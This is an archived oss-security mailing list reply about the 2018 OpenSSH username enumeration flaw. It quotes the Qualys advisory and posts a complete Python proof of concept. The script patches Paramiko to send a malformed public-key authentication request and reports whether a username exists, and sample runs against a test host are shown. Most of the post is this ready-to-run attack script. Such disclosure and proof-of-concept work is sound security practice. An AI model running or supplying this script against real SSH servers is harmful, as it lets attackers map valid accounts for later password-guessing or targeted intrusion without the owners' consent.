Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Thu, 16 Aug 2018 23:43:07 +1200
From: Matthew Daley <mattd@...fuzz.com>
To: oss-security@...ts.openwall.com
Subject: Re: OpenSSH Username Enumeration

On 16 August 2018 at 04:05, Qualys Security Advisory <qsa@...lys.com> wrote:
> The attacker can try to authenticate a user with a malformed packet (for
> example, a truncated packet), and:
>
> - if the user is invalid (it does not exist), then userauth_pubkey()
>   returns immediately, and the server sends an SSH2_MSG_USERAUTH_FAILURE
>   to the attacker;
>
> - if the user is valid (it exists), then sshpkt_get_u8() fails, and the
>   server calls fatal() and closes its connection to the attacker.

I've written a POC for this issue, located at
https://bugfuzz.com/stuff/ssh-check-username.py . It requires the
Paramiko library (http://www.paramiko.org/) to be available. It does
some gross monkey patching of Paramiko to force it into sending an
invalid `SSH2_MSG_USERAUTH_REQUEST` and intercepting the potentially
resultant `SSH2_MSG_USERAUTH_FAILURE` but seems to work well enough. A
sample usage is as follows:

$ nc test.internal 22
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
^C
$ ./ssh-check-username.py test.internal root
[+] Valid username
$ ./ssh-check-username.py test.internal www-data
[+] Valid username
$ ./ssh-check-username.py test.internal thisisinvalid
[*] Invalid username

The POC is also included below for archival purposes.

--- 8< ---

#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.


import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.